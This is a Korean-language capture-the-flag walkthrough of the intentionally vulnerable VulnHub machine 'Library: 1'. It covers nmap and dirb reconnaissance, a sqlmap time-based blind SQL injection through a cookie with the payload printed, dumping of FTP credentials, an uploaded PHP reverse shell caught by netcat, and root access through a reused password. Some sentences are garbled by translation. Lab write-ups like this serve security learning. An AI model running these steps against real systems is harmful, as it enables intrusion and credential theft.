vulnhub Walkthrough:Library:1

13409 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 Library:1의 Walkthrough가 됩니다.

vulnhub 정보





이름
The Library: 1


Date release
22 Jul 2019

작성자
Avraham Cohen

시리즈
The Library


PortScan:


nmap 를 사용하여 대상 머신의 포트를 살펴보면 ftpApache 가 존재하는 것으로 나타났습니다.


PORT
서비스
VERSION


21
ftp
vsftpd 3.0.3

80
http
Apache httpd 2.4.18 ((Ubuntu))


root@kali:~# nmap -sS -sV 192.168.56.56
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 01:57 EDT
Nmap scan report for 192.168.56.56
Host is up (0.00040s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:4F:A7:48 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds

Enumeration:


dirb를 사용하여 웹 사이트 디렉토리를 찾은 결과 /library.php

root@kali:~# dirb http://192.168.56.56 -X .php
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat May  2 02:02:21 2020
URL_BASE: http://192.168.56.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
 GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.56/ ----
+ http://192.168.56.56/library.php (CODE:200|SIZE:1547)                                                                                                
-----------------
END_TIME: Sat May  2 02:02:26 2020
DOWNLOADED: 4612 - FOUND: 1
/library.phpBurpSuite
lastviewed 를 디코딩한 결과 JSON 형식임을 알 수 있습니다.



Exploitation:



sql 인젝션이 존재하지 않는지 lastviewed를 사용하여 확인해보십시오.
대상 요청을 복사하여 파일을 만듭니다.

root@kali:~# cat file.txt 
GET /library.php HTTP/1.1
Host: 192.168.56.56
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.56/library.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: PHPSESSID=i0s591hi99ssf31glunhju11r1; lastviewed={"lastviewed"=="*"}
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap{"lastviewed"=="*”} 안에 주입 삽입 ”” 를 넣습니다.
파일이 준비되었으므로 를 실행합니다.

root@kali:~# sqlmap -r file.txt --dbs --level 3
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PHPSESSID=scg8fiveuounn01rfn5rqo2oc2; lastviewed="{"lastviewed"=="'' AND (SELECT * FROM (SELECT(SLEEP(5)))CVfX)-- DEfZ"}"
---
[06:28:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:28:24] [INFO] fetching database names
[06:28:24] [INFO] fetching number of databases
[06:28:24] [INFO] resumed: 5
[06:28:24] [INFO] resumed: information_schema
[06:28:24] [INFO] resumed: library
[06:28:24] [INFO] resumed: mysql
[06:28:24] [INFO] resumed: performance_schema
[06:28:24] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys

[06:28:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.56'

[*] ending @ 06:28:24 /2020-05-02/

DB의 이름을 확인할 수있었습니다. sql 주입이 존재하는 것 같습니다.sqlmap 를 사용하여 sqlmap의 테불을 찾았습니다. library 테이블에 access 로그인 정보가 있습니다.

root@kali:~/vulnhub# sqlmap -r file.txt -D library --dump --level 3

Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password       |
+----+---------+----------+----------------+
| 1  | ftp     | globus   | AroundTheWorld |
+----+---------+----------+----------------+

Database: library
Table: countries
[9 entries]
+----+-------------+
| id | name        |
+----+-------------+
| 1  | Netherlands |
| 2  | England     |
| 3  | Germany     |
| 4  | France      |
| 5  | Romania     |
| 6  | Scotland    |
| 7  | Spain       |
| 8  | Sweden      |
| 9  | Norway      |
+----+-------------+
ftp의 사용자 정보를 알 수 있었으므로 FTP에 연결해보십시오.
안전하게 연결할 수있었습니다.

root@kali:~/vulnhub# ftp 192.168.56.56
Connected to 192.168.56.56.
220 (vsFTPd 3.0.3)
Name (192.168.56.56:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 22  2019 html
226 Directory send OK.
ftp>

FTP에 연결할 수있는 FTP를 업로드하여 서버에 연결할 수 있습니다.
이번에는 reverse-shell 에 준비되어 있는 Kali linux 를 사용합니다.

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 22  2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            2831 Jul 22  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.03 secs (210.9556 kB/s)
ftp> chmod 777 shell.php
200 SITE CHMOD command ok.

안전하게 업로드할 수 있었습니다. (실행 권한도 부여하고 있습니다)

따라서 웹 브라우저에서 업로드한 php-reverse-shell.php를 실행하기 전에 shell.php를 사용하여 연결을 기다립니다. netcat 를 실행하고 안전하게 연결할 수 있습니다.

root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.56: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.56] 55648
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 09:57:13 up  2:11,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$

Privilege Escalation:


shell.php 의 내용을 확인해 봅니다.
$ cd /var/www/html
$ cat library.php

확인한 결과 database에 연결하면 사용자 정보가있었습니다.
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
library.php 사용자의 경로가 root 일 수 있으므로 password 명령을 사용하여 확인해보십시오.su 에서 대화형 셸을 가져오고 python 에서 사용자를 su , 암호를 root 로 했는데 password
네~이

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password

root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root

면책사항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기